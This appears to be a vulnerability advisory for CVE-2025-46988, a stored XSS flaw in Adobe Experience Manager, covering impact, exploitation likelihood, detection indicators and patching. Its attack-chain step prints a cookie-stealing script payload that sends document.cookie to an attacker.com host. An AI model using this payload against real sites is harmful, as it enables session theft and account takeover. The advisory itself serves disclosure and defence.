CVE-2025-46988: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-46988 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.22 and earlier, as well as AEM Cloud Service versions prior to 2025.5.0. The vulnerability was published on June 10, 2025, with a patch made available on June 13, 2025. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory, Feedly).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting), specifically of the stored (persistent) variant. A low-privileged, network-accessible attacker can inject malicious JavaScript into vulnerable form fields within AEM; the script is stored server-side and executes in the browser of any victim who subsequently visits the page containing the affected field. Exploitation requires user interaction (a victim browsing to the compromised page) but no elevated privileges beyond a basic authenticated account (Adobe Advisory, Feedly).

Successful exploitation can result in unauthorized JavaScript execution in victims' browsers, enabling session cookie theft, credential harvesting, or performing actions on behalf of the victim within the AEM platform. The scope is changed (cross-origin impact), with low confidentiality and low integrity impact; availability is not affected. The vulnerability poses a risk to any user who browses pages containing the injected content, potentially affecting a broad audience in enterprise content management environments (Adobe Advisory, Feedly).

There is no public proof-of-concept exploit code and no evidence of in-the-wild exploitation at this time. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported (Feedly).

1. Reconnaissance: Identify an Adobe Experience Manager instance running version 6.5.22 or earlier, or AEM Cloud Service prior to 2025.5.0, with accessible form fields that accept user input.
2. Authentication: Obtain or use a low-privileged AEM account (e.g., a standard author or contributor account).
3. Payload Injection: Navigate to a vulnerable form field within AEM (such as a content authoring field or metadata input) and submit a crafted stored XSS payload, e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Persistence: The malicious script is stored server-side within AEM's content repository and rendered as part of the page for all subsequent visitors.
5. Victim Execution: When a victim (e.g., an administrator or site visitor) browses to the page containing the injected field, the malicious JavaScript executes in their browser, potentially exfiltrating session cookies or performing actions on their behalf (Adobe Advisory, Feedly).

• Logs: AEM access logs showing POST requests to content authoring or form endpoints containing encoded script tags (e.g., %3Cscript%3E, <script>) or JavaScript event handlers in field values.
• File System / Content Repository: Unexpected JavaScript payloads stored in AEM JCR (Java Content Repository) nodes, particularly in text or metadata properties of content pages.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM-hosted pages; unusual traffic patterns to attacker-controlled endpoints carrying cookie or session data.
• Browser / Application: Unexpected JavaScript errors or redirects reported by users browsing AEM-published pages; alerts from browser-side content security policy (CSP) violations logged server-side.

Adobe has released patches addressing this vulnerability: update to AEM 6.5.23.0 or later for on-premise installations, or ensure AEM Cloud Service is on version 2025.5.0 or later. As interim mitigations, administrators should implement strict input validation and output encoding for all form fields, enforce a Content Security Policy (CSP) to restrict unauthorized script execution, and regularly audit user-submitted content for unexpected script tags. Monitoring AEM logs for anomalous form submissions is also recommended (Adobe Advisory, Feedly).

The Center for Internet Security (CIS) published an advisory noting multiple vulnerabilities in Adobe products, including this XSS issue, recommending prompt patching (CIS Advisory). No significant independent researcher commentary or notable social media discussion has been identified for this specific CVE at this time.
